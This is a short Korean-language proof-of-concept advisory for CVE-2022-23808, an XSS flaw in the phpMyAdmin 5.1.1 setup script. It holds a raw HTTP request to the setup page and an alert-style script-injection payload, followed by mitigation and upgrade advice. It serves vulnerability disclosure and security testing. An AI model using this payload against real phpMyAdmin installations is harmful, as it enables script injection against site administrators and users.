
CVE-2022-23808에 대한 개념 증명(PoC) 익스플로잇으로, phpMyAdmin 5.1.1 설정 스크립트의 저장형 XSS 취약점이며, 보안 테스트를 위한 페이로드와 재현 절차를 포함합니다.
익스플로잇 제목 : phpMyAdmin 5.1.1 - XSS (크로스 사이트 스크립팅) 익스플로잇 작성자 : Dipak Panchal (@th3.d1p4k) 공급업체 홈페이지 : https://www.phpmyadmin.net 소프트웨어 링크 : https://www.phpmyadmin.net/files/5.1.1/ 영향받는 버전 : phpMyAdmin 5.1 브랜치의 5.1.2 이전 버전이 영향을 받습니다. 테스트 환경 : Windows 10 및 Linux CVE : CVE-2022-23808 참조 : https://www.phpmyadmin.net/security/PMASA-2022-2/
설정 스크립트의 여러 부분에 공격자가 악성 코드를 주입할 수 있게 해주는 일련의 취약점이 발견되었습니다. 이를 통해 XSS 또는 HTML 인젝션이 발생할 수 있습니다.
GET /phpmyadmin/setup/index.php?page=servers&mode=test&id=test HTTP/1.1
Host: 127.0.0.1:1234
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Cookie: pma_lang=en; phpMyAdmin=fs55xxxxxxx; pma_lang=en; pmaUser-1=xxxxxxxxxxxxxxxxxxxxxxxxxxx; phpMyAdmin=xxxxxxxxxxxxxxx; pmaAuth-1=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
">'><script>alert(document.domain)</script>

config.inc.php 구성 파일이 포함된 phpMyAdmin 설치는 설정 스크립트에 대한 접근을 허용하지 않으므로, 이를 통해 이 공격이 완화됩니다.
phpMyAdmin 5.1.2 이상으로 업그레이드하거나 패치를 적용하십시오.